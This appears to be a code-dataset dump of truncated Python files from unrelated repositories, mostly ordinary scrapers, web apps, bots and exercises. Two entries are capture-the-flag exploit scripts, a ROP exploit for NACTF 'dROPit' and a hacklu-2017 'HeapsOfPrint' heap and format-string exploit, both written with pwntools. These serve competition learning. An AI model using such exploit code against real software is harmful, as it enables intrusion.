seq_id stringlengths 4 11 | text stringlengths 113 2.92M | repo_name stringlengths 4 125 ⌀ | sub_path stringlengths 3 214 | file_name stringlengths 3 160 | file_ext stringclasses 18
values | file_size_in_byte int64 113 2.92M | program_lang stringclasses 1
value | lang stringclasses 93
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|---|---|---|---|---|---|---|---|---|---|---|---|---|
354278636 | from html_parser import MyHTMLParser
import urllib.request
from bs4 import BeautifulSoup
import requests
from language_detecter import LanguageDetector
parser = MyHTMLParser()
#url = "https://www.vpnverbinding.nl/beste-vpn/netflix/"
url = "https://www.vpnconexion.es/blog/mejor-vpn-para-netflix/?_ga=2.224715098.13068... | ferchovzla/translated_words_checker | main.py | main.py | py | 1,587 | python | en | code | 0 | github-code | 1 |
17444531898 | import math
#1.
def calculateSphere(radius):
v = 4/3*math.pi*radius**3
a = 4*math.pi*(radius**2)
print("The Volume of your sphere is " +str(v))
print("the Area of your sphere is " +str(a))
#2.
def calPizzaSquarePrize(diameter,prize):
radius = diameter/2
area = math.pi*radius**2
prizePerSq... | GabrielHodada/python_programming_an_introduction_to_computer_science | chapter3/programming_exercises.py | programming_exercises.py | py | 3,355 | python | en | code | 0 | github-code | 1 |
6105998977 | '''
Consider a special family of Engineers and Doctors. This family has the following rules:
Everybody has two children.
The first child of an Engineer is an Engineer and the second child is a Doctor.
The first child of a Doctor is a Doctor and the second child is an Engineer.
All generations of Doctors and Engineers ... | chuckinator0/Projects | scripts/findProfession.py | findProfession.py | py | 4,201 | python | en | code | 17 | github-code | 1 |
7409422157 | import os
import re
import sys
def main(version):
if len(sys.argv) != 4:
print("[ERROR] Missing one of arguments: version (PREVIOUS) such as: X.Y.Z or userid or token")
sys.exit()
version = sys.argv[1]
userid = sys.argv[2]
token = sys.argv[3]
ver_pattern = re.compile("^[0-9]+\.[0-9]... | fdefelici/react-bootstrap-combobox | .auto/rdoc.py | rdoc.py | py | 694 | python | en | code | 4 | github-code | 1 |
12287855696 | import cv2
import numpy as np
from calibrate_frame import *
from socket import gethostname
class Camera(object):
"""
Camera access wrapper.
"""
def __init__(self, pitch=0, port=0, test = 0):
self.capture = cv2.VideoCapture(port)
self.pitch = pitch
self.test = test
def get... | pbsinclair42/SDP-2016 | vision/camera.py | camera.py | py | 757 | python | en | code | 2 | github-code | 1 |
7305556059 | import integration_logic
from unittest import TestCase
class TestReadAndPreprocess(TestCase):
def test_integration(self):
with open(integration_logic.integration_sources + 'complex_preprocessed.c') as expected_file:
expected_result = expected_file.read()
preprecessed_source = integrati... | akhtyamovrr/plagchecker | integration-tests/read_and_preprocess.py | read_and_preprocess.py | py | 415 | python | en | code | 0 | github-code | 1 |
11053272128 | import numpy as np
"""
================== CREDITS =======================
The code in this file was written by Hanna Hultin.
"""
class LOB:
def __init__(self, data, outside_volume=1, include_spread_levels=True):
self.data = data.reshape((2, -1))
self.num_levels = self.data.shape[1] - 1
s... | KodAgge/Reinforcement-Learning-for-Market-Making | code/environments/mc_model/lob_utils/lob_functions.py | lob_functions.py | py | 19,352 | python | en | code | 85 | github-code | 1 |
14443118585 | import dash
from dash import dcc
from dash import html
from dash import dash_table
from dash.dependencies import Input, Output
import dash_bootstrap_components as dbc
from flask import Flask
from flask import render_template, Response
import pandas as pd
import edgeiq
import cv2
import time
# edgeIQ
camera = edgeiq... | alwaysai/dash-interactive-streamer | app.py | app.py | py | 4,157 | python | en | code | 3 | github-code | 1 |
8433446156 | print("ddddd")
print("你好啊")
a=12
b=13
c=a+b
print(c)
str222= 'ni hao a xiao pengyou '
len = len(str222)
print(len)
def pp():
print("ni zhen shuai")
pp()
def g_tokg(g1):
kg1= g1/1000
print(kg1)
g_tokg(2000)
import math
def tri(a1,b1):
c2 = a1*a1+b1*b1
c1= math.sqrt(c2)
print(c1)
tri(3,4)
file ... | ron1983/test2 | tt2.py | tt2.py | py | 1,965 | python | en | code | 0 | github-code | 1 |
11558811899 | # xiang59915练习
import socket as s # 导入socket模块
import os
server = s.socket() # 创建套接字
PORT = 2333 # 设置端口号为2333
server.bind(("localhost", PORT))
server.listen(8)
print("等待客户端连接...")
while True:
conn, addr = server.accept()
print("客户端的IP地址和端口信息",addr)
data = conn.recv(1024)
print("客户端回应",repr(data))
FileNam... | xiang59915/Fresh | FileTransferServer.py | FileTransferServer.py | py | 682 | python | en | code | 0 | github-code | 1 |
16240105834 |
import pandas as pd
df = pd.read_csv("matrix/matrix.csv")
columns = df.columns
line = " ----- "
cols = "|"
sep = "|"
lines_ = "|"
for i ,col in enumerate(columns):
cols = cols + col+sep
lines_ = lines_+line+sep
kk = []
print(cols)
print(lines_)
for row in df.values:
ll = ""
for r in row:
ll ... | otman-ai/banking-edaa | tabelMdBuilder.py | tabelMdBuilder.py | py | 384 | python | en | code | 1 | github-code | 1 |
12047781262 | import argparse
import json
from pyspark.sql import SparkSession
def main(input_hfs_path,
outliers_output_hfs_path,
clean_output_hfs_path,
config):
from filters.api import resolve_filter
spark = SparkSession \
.builder \
.appName("TextOutlier") \
.getOrCreat... | zphang/big_data_proj | main.py | main.py | py | 3,316 | python | en | code | 0 | github-code | 1 |
26205226971 | #!/usr/bin/env python3
import json
import logging
from watchdog.events import FileSystemEventHandler, FileModifiedEvent
from watchdog.observers import Observer
import xml.etree.ElementTree as ET
logger = logging.getLogger(__name__)
class IoMBianAvahiServicesFileHandler(FileSystemEventHandler):
def __init__(sel... | Tknika/iombian-services-uploader | src/iombian_avahi_services_file_handler.py | iombian_avahi_services_file_handler.py | py | 1,997 | python | en | code | 0 | github-code | 1 |
27178702909 | from flask import Flask, request, render_template
students = [
{'studentNo': '10001', 'studentName': 'Student 1'},
{'studentNo': '10002', 'studentName': 'Student 2'},
]
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', students=students)
app.run(debug=True)
| pytutorial/flask_students1 | app.py | app.py | py | 320 | python | en | code | 0 | github-code | 1 |
38937161065 | import os, sys
from graphite_paper.local_django.settings.base import *
# Development Settings
DEBUG=True
SUPER_DEBUG=False
# Path settings
PROJECT_DIRECTORY = os.path.dirname(os.path.dirname(__file__))
PAGES_DIRECTORY = os.path.join(PROJECT_DIRECTORY, "pages")
OUTPUT_DIRECTORY = os.path.join(PROJECT_DIRECTORY, "_bu... | crosssenses/sample-journal | sample-paper-en/config/development.py | development.py | py | 759 | python | en | code | 1 | github-code | 1 |
72593883233 | """ pretrain a word2vec on the corpus"""
import argparse
import os
from os.path import join, exists
from time import time
from datetime import timedelta
import gensim
class Sentences(object):
""" needed for gensim word2vec training"""
def __init__(self, data_path):
with open(data_path, '... | behome/tianchi | code/train_word2vec.py | train_word2vec.py | py | 1,821 | python | en | code | 0 | github-code | 1 |
72116404835 | # Sequential Search
def linear_search(arr, x):
return next((i for i in range(len(arr)) if arr[i] == x), -1)
# Driver Code
if __name__ == '__main__':
arr = [2, 3, 4, 10, 40]
x = 10
result = linear_search(arr, x)
if result == -1:
print("Element is not present in array")
els... | Berkan352/Algorithms | SearchAlgorithms/LinearSearch.py | LinearSearch.py | py | 388 | python | en | code | 0 | github-code | 1 |
23259752199 | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from lmfit import Model
import scienceplots
elements=['Al','Mo','Ni','Ti','Zn']
alphas=[1.486,17.480,7.480,4.512,8.637]
mpos=[200,1600,800,500,900]
Mpos=[-3800,-2100,-3200,-3525,-3100]
resolutions=[]
res_unc=[]
def gaussian(x,amp,cen,sig):
re... | g-Baptista-gg/TecEsp | enRes.py | enRes.py | py | 1,594 | python | en | code | 0 | github-code | 1 |
25277572487 | import csv
class Tempa:
def seoula(self):
f = open('D:\\OPENEG\\FT\\PycharmProjects\\js\\ta.csv');
# f = open('C:\\PycharmProjects\\js\\ta.csv');
data = csv.reader(f);
header = next(data);
tempa = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
# for i in range(10):
# ... | devheyrin/Python_JS | data/tempa.py | tempa.py | py | 1,445 | python | en | code | 0 | github-code | 1 |
74934217314 | import logging
from datetime import timedelta
from typing import Optional
_LOGGER = logging.getLogger(__name__)
class WorkInterval:
def __init__(self, duration: timedelta, minimum: timedelta, maximum: timedelta, warmup: Optional[timedelta], tick_duration: timedelta):
self._tick_duration = tick_duration.s... | yanoosh/home-assistant-heating-radiator | custom_components/heating_radiator/WorkInterval.py | WorkInterval.py | py | 1,660 | python | en | code | 0 | github-code | 1 |
29117146678 | import os
import shutil
import tkinter as tk
from tkinter import filedialog, messagebox
# 游戏路径
path = r"D:\steam\steamapps\common\NARAKA BLADEPOINT\StartGame.exe"
path_audio = "NarakaBladepoint_Data\StreamingAssets\Audio\GeneratedSoundBanks\Windows"
# 角色列表
role_names_zh = ['宁红夜', '特木尔', '迦南', '季沧海', '胡桃', '... | Rirock/yjwujian | main.py | main.py | py | 6,583 | python | en | code | 0 | github-code | 1 |
23174498201 | '''A modified Kaprekar number is a positive whole number with a special property. If you square it,
then split the number into two integers and sum those integers, you have the same value you started with.
Consider a positive whole number n with d digits. We square n to arrive at a number that is either 2*d digits lo... | 7Aishwarya/HakerRank-Solutions | Algorithms/modified_kaprekar_numbers.py | modified_kaprekar_numbers.py | py | 1,957 | python | en | code | 6 | github-code | 1 |
6761266835 | class Solution:
def isPowerOfThree(self, n: int) -> bool:
if n > 0 and (3**19) % n == 0:
return True
return False
def main():
ans = Solution()
n = int(input())
print(ans.isPowerOfThree(n))
if __name__ == "__main__":
main()
| tab21/100DaysOfCode | codes/Day55.py | Day55.py | py | 275 | python | en | code | 0 | github-code | 1 |
34559411929 | import os
os.environ['TOKENIZERS_PARALLELISM']='false'
import sys
import torch
import time
import math
import shutil
import pandas as pd
from dataclasses import dataclass
from collections import defaultdict
from torch.cuda.amp import GradScaler
from torch.utils.data import DataLoader
from transformers import get_const... | KonradHabel/learning_equality | train.py | train.py | py | 26,975 | python | en | code | 9 | github-code | 1 |
15212267498 | import pandas_profiling
from pathlib import Path
import glob
import argparse
import matplotlib.pyplot as plt
import pandas as pd
import os.path as osp
import xml.etree.ElementTree as ET
import numpy as np
from collections import Counter
title =['filename',
'img_width',
'img_height',
'img_dep... | fanqie03/mmdetection.bak | tools/analyze_voc.py | analyze_voc.py | py | 3,061 | python | en | code | 2 | github-code | 1 |
40818146249 | # n, t = [int(x) for x in input().split()]
t = 2
# a = [int(x) for x in input().split()]
a = [int(1e9) for _ in range(int(1e5))]
prev = a[0]
val = 0
vad = 0
for i in a[1:]:
if i <= prev:
k = 0
lo = -1
hi = int(1e5)
while hi - lo > 1:
m = (lo + hi) // 2
if i +... | yakuri354/cp | qual/vuzak/d.py | d.py | py | 613 | python | en | code | 0 | github-code | 1 |
4911617378 | import json
from django.core.management.base import BaseCommand
from domain.policies.models import Policy
class Command(BaseCommand):
help = "seeds the database with default data from a JSON file"
def handle(self, *args, **options):
with open("seed.json", "r") as json_file:
seed = json.lo... | antoniopataro/decision-engine | config_backend/api/management/commands/seed.py | seed.py | py | 548 | python | en | code | 0 | github-code | 1 |
29250253175 | class Node:
def __init__(self, data):
self.val = data
self.next = None
class Stack:
def __init__(self):
self.head = None
self.max = 5
def push(self, data):
if self.length() <= self.max:
newNode = Node(data)
newNode.next = self.head
... | ho991217/Python | PAlgorithm/Day10/Test02.py | Test02.py | py | 1,218 | python | en | code | 0 | github-code | 1 |
17436198272 | from flask import Flask, request, render_template
app = Flask(__name__)
## Q1. Create a Flask application that displays "Hello, World!" on the homepage.
@app.route("/")
def index():
return "Hello World"
## Q2. Write a Flask route that takes a name parameter and returns "Hello, [name]!" as plain text.
@app.rou... | abhisunny2610/Data-Science | Python Practice Set/Practice Solution 11/app.py | app.py | py | 1,022 | python | en | code | 1 | github-code | 1 |
73033974433 | # -*- coding: utf-8 -*-
'''
Management of PostgreSQL extensions (e.g.: postgis)
===================================================
The postgres_extensions module is used to create and manage Postgres extensions.
.. code-block:: yaml
adminpack:
postgres_extension.present
.. versionadded:: 2014.7.0
'''
fr... | shineforever/ops | salt/salt/states/postgres_extension.py | postgres_extension.py | py | 5,852 | python | en | code | 9 | github-code | 1 |
73471784033 | # F17 - Exit
def exit(hasil):
answer = input("Apakah Anda mau melakukan penyimpanan file yang sudah diubah? (y/n) ")
while (answer != "y" or answer != "Y" or answer != "n" or answer != "N"):
answer = input("Apakah Anda mau melakukan penyimpanan file yang sudah diubah? (y/n) ")
if (answer == "Y"... | IvanLeovandi/Tugas-Besar-IF1210-Dasar-Pemrograman-2021-2022 | Source Code/exit.py | exit.py | py | 564 | python | id | code | 3 | github-code | 1 |
32244769321 | from tkinter import *
import tkinter as tk
from tkinter import ttk
import tkinter.messagebox as messagebox
import sqlite3
from PIL import Image,ImageTk
from OperationUI.OperationCommandGUI import *
from OperationUI.Colors import *
if __name__ == "__main__":
# Create the main window:
root.geometry("1440x826")
... | iamnopkm/python-project | main.py | main.py | py | 4,422 | python | en | code | 0 | github-code | 1 |
74260956832 | from pwn import *
import requests
#context.log_level = 'debug'
context.binary = ELF('./rop')
r = remote('challenges.ctfd.io', 30261)
'''def GetLibC(puts):
req = requests.post('https://libc.rip/api/find', json = {'symbols':{'puts':hex(puts)[-3:]}})
libc_url = req.json()[0]['download_url']
libc_file = lib... | NotHotdogCTF/NACTF_2020 | BinaryExploitation/dROPit/exploit.py | exploit.py | py | 1,451 | python | en | code | 0 | github-code | 1 |
1473194817 | import random
import math
import string
from django.shortcuts import render,HttpResponseRedirect, HttpResponse
from main.models import *
def home(request):
return render(request, "Employee/home.html")
def approval(request):
enrollments = Enrollment.objects.filter(status="pending")
return render... | CodingSectorDeveloper/sms-1 | employee/views.py | views.py | py | 4,093 | python | en | code | 0 | github-code | 1 |
29867234262 | import pytest
import requests
import json
def test_product():
url = 'http://commdity-develop.kapeixi.cn/product/PPI1001001'
headers = {"content-type": "application/json"}
para = {'skuIdList': [773, 778, 788]}
r = requests.post(url, json=para, headers=headers)
print(json.dumps(r.json(),indent=2,en... | jmc517/HogwartsANDY15 | service/api_test.py | api_test.py | py | 405 | python | en | code | 0 | github-code | 1 |
17960788548 | x0 = 2448
y0 = 2048
z0 = int(input("z0: "))
ovx = 245
ovy = 205
dimx = int(input("dimx: "))
dimy = int(input("dimy: "))
umppx0 = 1.43
umppy0 = 1.43
umppz0 = 5.0
xf = int(input("xf: "))
yf = int(input("yf: "))
zf = int(input("zf: "))
umppx = None
umppy = None
umppz = None
def calcScaling():
x1 = (x0 * dimx) - (... | JulianPitney/stitchScalingCalculator | lightsheet_stitched_scaling_calculator.py | lightsheet_stitched_scaling_calculator.py | py | 605 | python | en | code | 0 | github-code | 1 |
3090309836 | #!/usr/bin/python
"""
Script used to connect to the edX MongoDB produce a file with the course
content nicely printed to it.
"""
import argparse
import json
import os
import re
def is_id(string):
"""Check string to see if matches UUID syntax of alphanumeric, 32 chars long."""
regex = re.compile('[0-9a-f]{32}\... | powersj/ocv | src/edx_course_json.py | edx_course_json.py | py | 4,356 | python | en | code | 0 | github-code | 1 |
35335815963 | import tensorflow as tf
from tensorflow.examples.tutorials.mnist import mnist
def decode(serialized_example):
"""Parses an image and label from the given `serialized_example`."""
features = tf.parse_single_example(
serialized_example,
# Defaults are not specified since both keys are required.
... | NeerajKomuravalli/learning_scripts- | python_scripts/neural_network/tf_scripts/read_from_tfRecords_MNIST.py | read_from_tfRecords_MNIST.py | py | 2,509 | python | en | code | 0 | github-code | 1 |
23784084308 | # coding=utf-8
from django import forms
from django.urls import reverse
from .models import Ad
from app.models import City, Metro
from categories.models import Category
class SearchForm(forms.Form):
search_word = forms.CharField(max_length=255, widget=forms.TextInput(attrs={
'type': 'search',
'pl... | asmuratbek/tumar24 | ad_app/forms.py | forms.py | py | 2,916 | python | en | code | 0 | github-code | 1 |
33222326002 | #!/usr/bin/python3
from pyrob.api import *
# [2, 3, 5, 8, 12, 17, 23, 30, 38]
# [1, 2, 4, 7, 11, 16, 22, 29, 37]
# [1, 2, 3, 4, 5, 6, 7, 8]
@task(delay=0.01)
def task_7_5():
move_right()
fill_cell()
delta = 1
while not wall_is_on_the_right():
try:
move_right(delta)
ex... | ispaneli/mipt_python_robot_lab-01 | mipt_python_robot_lab-01/task_27.py | task_27.py | py | 494 | python | en | code | 0 | github-code | 1 |
72603211555 | from filehandling.data_operations_file.data_persist_operation import EmpOperation
from filehandling.data_operations_file.data_util import *
from filehandling.data_operations_file.data_persist_empinfo import *
class EmpOperImpl(EmpOperation):
# def write_into_text(self,data):
# pass
#
# def read_fr... | hakepg/operations | filehandling/data_operations_file/data_operation_impl.py | data_operation_impl.py | py | 2,406 | python | en | code | 0 | github-code | 1 |
35425129253 | # задание 1
anna, paul = 2, 5 # переменная со значением количества яблок у анны и пола
print('У Анны', anna, 'яблока',
'У Пола', paul, 'яблок') # выводим одной функцией сколько у них яблок
# задание 2
rebro = int(input('введите значение длины ребра куба: ')) # задаем ввод пользователем длинны ребра куба
squar... | AlesyaPechuro/Python | lesson 2/Pechuro_104_lesson2.py | Pechuro_104_lesson2.py | py | 1,533 | python | ru | code | 0 | github-code | 1 |
40110888665 | # 코딩테스트 연습 > 스택/큐 > 프린터
from collections import deque
def solution(priorities, location):
# pre
# index 와 priorities 합쳐서 enumerate
Q = [(i, p) for i, p in enumerate(priorities)]
ans = 0
# main
while True:
cur = Q.pop(0)
# next
if any(cur[1] < q[1] for q in Q):
... | WoojunePark/coding_test_python | 3_DFS_and_BFS/3_C/p_42587.py | p_42587.py | py | 505 | python | en | code | 0 | github-code | 1 |
1024252645 | import csv
import mysql.connector
import argparse
from matplotlib import pyplot as plt
def query(sql, cursor):
result = []
cursor.execute(sql)
row = cursor.fetchone()
while row is not None:
result.append(row)
row = cursor.fetchone()
return result
def query_result_to_parrellel_lis... | dmaahs2017/Se413-final | graph_datalake_data.py | graph_datalake_data.py | py | 1,276 | python | en | code | 0 | github-code | 1 |
71360819875 | # -*- coding: utf-8 -*-
from chatterbot import ChatBot # Importa la clase ChatBot
from chatterbot.trainers import ChatterBotCorpusTrainer
from chatterbot.response_selection import get_most_frequent_response
from chatterbot.comparisons import JaccardSimilarity
from chatterbot.comparisons import LevenshteinDistance
from... | alexlpz/chatBot | chatBot.py | chatBot.py | py | 3,127 | python | en | code | 0 | github-code | 1 |
12767170570 | def MainOP():
import time
print("---------------------------")
print("Good Day Players!")
time.sleep(0.5)
while True:
time.sleep(1)
GameMode = str(input("Which gamemode would you like to play?\n Enter 1 for Player Vs Player\n Enter 2 for Player Vs Computer\n Enter any other in... | ThomasMcCall12/BasicCounterGame | game1.py | game1.py | py | 3,105 | python | en | code | 0 | github-code | 1 |
32702787469 | # Como se dijo que la app manejaria las vistas, se creo este archivo. Aqui se
# manejaran los mapeos de las direcciones dentro de la app. Esto con el
# objetivo de que sea modular
# Modificamos la url de categoria para pasar el parametro category_name_slug
from django.conf.urls import url
from rango import views
# Cr... | alehpineda/tango_with_django_project | rango/urls.py | urls.py | py | 748 | python | es | code | 0 | github-code | 1 |
22690451449 | from django.shortcuts import render, redirect, get_object_or_404
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.decorators import login_required
from django.contrib import messages
from django.http import HttpResponse
from django.shortcuts import render, redirect
from django.views.... | MasterZesty/QuickNote | quicknote/notes/views.py | views.py | py | 3,152 | python | en | code | 1 | github-code | 1 |
3521231776 | import pickle
import os
import urllib.request as req
import numpy as np
import pandas as pd
def load_hurdat2_data(hurdat_file):
base_url = 'http://www.nhc.noaa.gov/data/hurdat/{}'.format(hurdat_file)
filedir = 'cache'
filename = '{}/hurdat2.p'.format(filedir)
# Load from cache if file already ex... | NikolaiLH/analytics-projects | hurricane-trends/hurricane.py | hurricane.py | py | 6,783 | python | en | code | 0 | github-code | 1 |
17065761069 | # -*- coding: utf-8 -*-
"""
Created on Sun Jun 7 20:13:28 2020
@author: Neha Shinkre
"""
import requests
url = 'http://localhost:5000/predict_api'
r = requests.post(url,json={'Age':18, 'EstimatedSalary':9000})
print(r.json)
| Nehaprog/IEEE-codersweek | new/request.py | request.py | py | 229 | python | en | code | 0 | github-code | 1 |
38745175764 | import cgi
import logging
import os
import random
import string
from google.appengine.api import images
from google.appengine.ext import db
from google.appengine.ext import webapp
from google.appengine.ext.webapp import template
from google.appengine.ext.webapp.util import run_wsgi_app
KEY_RANGE = range(random.randin... | ademirao/legendario | legendario.py | legendario.py | py | 10,488 | python | en | code | 1 | github-code | 1 |
6033578794 | import asyncio
"""
WRAPPING COROS INTO TASKS
Wrapping coros into tasks, so that they could be run concurrently
.ensure_future() = .create_task()
"""
async def say_after(delay: int, what: str) -> int:
print(f"Sleeping {delay}. Word: {what}")
await asyncio.sleep(delay)
print(what)
return delay
asyn... | EvgeniiTitov/coding-practice | coding_practice/concurrency/asyncio/chapter_presentation/example_2.py | example_2.py | py | 656 | python | en | code | 1 | github-code | 1 |
44697268734 | import discord
import os
import requests
import json
import random
from replit import db
from keep_alive import keep_alive
from discord.ext import commands,tasks
from pytube import YouTube
from pytube import Search
import pafy
import asyncio
from discord import FFmpegPCMAudio
bot = commands.Bot(command_prefix = '//')... | seikhchilli/EncourageBot | main.py | main.py | py | 6,126 | python | en | code | 0 | github-code | 1 |
1858956859 | import cv2
import numpy as np
import random
#########################################################
# FUNCTION TO FIND THE CONNECTED COMPONENTS
#########################################################
def drawComponents(image, adj, block_size):
#ret, labels = cv2.connectedComponents(image)
#pri... | AgilePlaya/Image-Processing-Basics | Codes/Connected-Components/connected.py | connected.py | py | 5,497 | python | en | code | 0 | github-code | 1 |
33403336012 |
from subprocess import call
import math
# S1 = 500
# S2 = 250
import sys
import numpy as np
import os
from joblib import Parallel, delayed
import multiprocessing
# def run(Para1, Para2, Para3, S2_amp):
def run(Para1, Popul_ID):
# global mut
#call(["./main","BCL", str(S1), "S2", str(S2), "Mutation", mut, "S1_... | drgrandilab/Ni-et-al-2023-Human-Atrial-Signaling-Model | PV-like_Populations/Simulations/run_pop.py | run_pop.py | py | 1,799 | python | en | code | 0 | github-code | 1 |
34813097933 | import requests
from bs4 import BeautifulSoup as bs
import time
import sqlite3
'''
由于网站反扒设置，此脚本仅能爬取部分章节
Summary:
soup.get_text("|", strip=True) 获取tag包裹的内容并去除前后的空格
a['href'] 返回a标签下href属性的值
快捷键：输入main敲回车即可快速设置主函数
re.findall()加上re.S参数可以匹配到换行符，即把换行符包含进去
for key, value in urlst.items():可以迭代字典的key和valu... | mediew/pynote | spyder/biquge/biquge.py | biquge.py | py | 2,674 | python | en | code | 0 | github-code | 1 |
11725823156 | import numpy as np
from PIL import Image
from sys import argv
import side_by_side
L = 256
def histogram(im):
return side_by_side.histogram_rgb(im)
def uniform_hist(im):
histogram_r, accum_r, histogram_g, accum_g, histogram_b, accum_b = histogram(im)
def w_dot(r):
wr = accum_r[r[0]]
wg = ac... | gciruelos/imagenes-practicas | practica2/ej01-b.py | ej01-b.py | py | 759 | python | en | code | 0 | github-code | 1 |
70356978594 | class Node(object):
def __init__(self, val, link=None):
self.val = val
if link is None or isinstance(link, Node):
self.link = link
else:
self.link = node_from_iterable(link)
def __repr__(self):
return "({} . {})".format(self.val, repr(self.link))
def... | ajarara/python-33 | thirtythree/decompositions.py | decompositions.py | py | 1,850 | python | en | code | 0 | github-code | 1 |
15534508158 | import gym
from stable_baselines3.common.vec_env.dummy_vec_env import DummyVecEnv
from stable_baselines3 import PPO, SAC
from stable_baselines3.common.callbacks import EvalCallback
from stable_baselines3.common.utils import get_schedule_fn
from stable_baselines3.common.monitor import Monitor
from stable_baselines3.com... | FaisalAhmed0/SLUSD | src/diayn.py | diayn.py | py | 22,206 | python | en | code | 3 | github-code | 1 |
19092172950 | import torch.nn as nn
import torch.nn.functional as F
import torch
from ..builder import LOSSES
from .utils import weight_reduce_loss
def cross_entropy(pred,
label,
weight=None,
reduction='mean',
avg_factor=None,
class_weight=N... | jichengyuan/semantic_loss_detection | mmdet/models/losses/semantic_loss.py | semantic_loss.py | py | 2,907 | python | en | code | 1 | github-code | 1 |
1393116208 | import collections
class Solution:
"""
@param formula: a string
@return: return a string
"""
def countOfAtoms(self, formula):
# write your code here
if not formula:
return ""
stack,l,i = [collections.Counter()],len(formula), 0
while i < l:
if f... | NeroNL/algorithm | src/main/python/countOfAtoms.py | countOfAtoms.py | py | 1,319 | python | en | code | 0 | github-code | 1 |
11910443233 | from flask import jsonify, request
from app.models import Clinical_info, Token
from app import db
def deleteClinicalInfo(id):
'''delete clinical info record'''
token = request.headers['TOKEN']
t=Token.query.filter_by(token=token).first()
is_expired=t.status
if id is... | the1Prince/drug_repo | app/deletes/deleteClinicalInfo.py | deleteClinicalInfo.py | py | 899 | python | en | code | 0 | github-code | 1 |
74945181793 | import fprops
D = fprops.helmholtz_data_water;
from pylab import *
hold(1)
# temperature array
#TT = array([217, 230,240,250,260,280,290,300,310,350],'float')
TT = array([620],'float')
# density array
rr = logspace(log10(10),log10(1200), 200)
# legend strings
L = []
subplot(3,1,1)
for T in TT:
pp = [max(fprops.... | georgyberdyshev/ascend | models/johnpye/fprops/python/defunct/spinodal.py | spinodal.py | py | 1,001 | python | en | code | 5 | github-code | 1 |
71728478115 | """
这里是线程
"""
import threading
ld = threading.local()
ld.left = 189
print("current thread name ", threading.current_thread().name)
print("main ld left : ", ld.left)
print("type ld : ", type(ld))
print('on main has attr left', hasattr(ld, 'left'))
def info(msg):
ild = threading.local()
tn = threading.cu... | mikeiansky/python-learn | src/thread_v1/thread_v1_1.py | thread_v1_1.py | py | 805 | python | en | code | 0 | github-code | 1 |
74991654433 | import pandas as pd
# CSVファイルの読み込み
file_path = '0921_chart_dshi/data/2020_2022사고 발생 데이터.csv'
df = pd.read_csv(file_path, encoding='utf-8')
# "구분"と"학교명"カラムを除外
columns_to_analyze = [col for col in df.columns if col not in ["구분", "학교명"]]
for column in columns_to_analyze:
column_data = df[column]
# '사고발생시간'の場合、... | takaaaaaan/Minor_accident_data_dashboard | python/csv_rankin.py | csv_rankin.py | py | 1,436 | python | en | code | 0 | github-code | 1 |
7459090493 | import sys
sys.stdin = open('input.txt')
def get_man(idx, bulbs):
tmp = idx
while tmp < len(bulbs):
bulbs[tmp] ^= 1
tmp += idx
return bulbs
def get_woman(idx, bulbs):
right = idx + 1
left = idx - 1
if left < 1 or right > len(bulbs)-1:
bulbs[idx] ^= 1
return b... | coolihans/TIL | Algorithms/boj/boj-IM/1244_스위치켜고끄기/김무종.py | 김무종.py | py | 1,110 | python | en | code | 0 | github-code | 1 |
42747898457 | from pwn import *
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = "./HeapsOfPrint"
libc = ELF("libc.so.6")
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
#conn = remote("flatearth.fluxfingers.net", 1747)
conn = process(file, env=env)
#gdb.attach(conn, """
#break *do_t... | DhavalKapil/ctf-writeups | hacklu-2017/HeapsOfPrint/exploit.py | exploit.py | py | 2,623 | python | en | code | 22 | github-code | 1 |
39604455911 | import multiprocessing
import os
import glob
import sys
import json
from tqdm import tqdm
from extractors.default import *
def main():
if not os.path.exists('../finished'):
os.makedirs('../finished')
for parser in availableParsers:
if not os.path.exists('../finished/%s' % pars... | schollz/parseingredient | src/parseHTML.py | parseHTML.py | py | 1,163 | python | en | code | 2 | github-code | 1 |
17670564445 | from django.utils import timezone
from rest_framework import filters
from rest_framework.response import Response
from rest_framework import status, viewsets, permissions
from url_filter.integrations.drf import DjangoFilterBackend
from .models import (
User, Card, Transaction,
)
from .serializers import (
User... | legacy72/its-animals-backend | bank/views.py | views.py | py | 3,079 | python | en | code | 0 | github-code | 1 |
5812062496 | from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium import webdriver
import time
import math
browser = webdriver.Chrome()
try:
def ln(x):
return math.log(x)
def sin(x):
... | utkin7890/stepik_auto_tests_course | part2_lesson4_step8.py | part2_lesson4_step8.py | py | 1,193 | python | en | code | 0 | github-code | 1 |
71067456994 | import os
def takeInput():
command = input("enter the command you want to execute on server, 'q' to quit\n")
return command
def writeFile(data, name):
file = open(name, 'wb')
file.write(data)
file.close()
return 0
def readFile(command):
filePath = command[4:]
if os.path.isfile(filePa... | divyanshu0x16/python_socket_rfs | client/fileService.py | fileService.py | py | 497 | python | en | code | 0 | github-code | 1 |
24537225227 | from pywinauto import Desktop
import time, requests, os, threading
import pyautogui
from pywinauto import timings
BASEURL = 'http://127.0.0.1:8000/'
PING_TIMEOUT = 45
PING_FREQUENCY = 45
QUEUE_LIMIT = 10
QUEUE_FREQUENCY = 5
q_processor = None
def exit_gracefully():
if q_processor:
q_processor.stop()
... | jemartpacilan/converterServer | queue_processor.py | queue_processor.py | py | 2,804 | python | en | code | 0 | github-code | 1 |
72122261475 | import uuid
from random import randint
class Producto:
def __init__(self,descripcion,codigoBarras,precio,proveedor):
self.id = uuid.uuid4()
self.descripcion = descripcion
self.clave = randint(1,200)
self.codigoBarras = codigoBarras
self.precio = precio
self.proveedor... | arcaex/TUP-Programacion-I | Python/POO/Práctica_Parcial.py | Práctica_Parcial.py | py | 2,625 | python | es | code | 5 | github-code | 1 |
34196708642 | from facenet_pytorch import MTCNN, InceptionResnetV1
import torch
from torchvision import datasets
from torch.utils.data import DataLoader
import datetime
# 初始化预训练的pytorch人脸检测模型MTCNN和预训练的pytorch人脸识别模型InceptionResnet
mtcnn = MTCNN(image_size=240, margin=0, keep_all=False, min_face_size=40)
resnet = InceptionResnetV1(pr... | YKK00/Face-Recognition-using-Python | Face-Recognition-PyTorch/train.py | train.py | py | 1,404 | python | en | code | 0 | github-code | 1 |
11697817470 | import os
import environ
# env
env = environ.Env()
# development
DEBUG = True
# base
SECRET_KEY = env('SECRET_KEY', default='')
ALLOWED_HOSTS = ['*']
ROOT_URLCONF = 'app.urls'
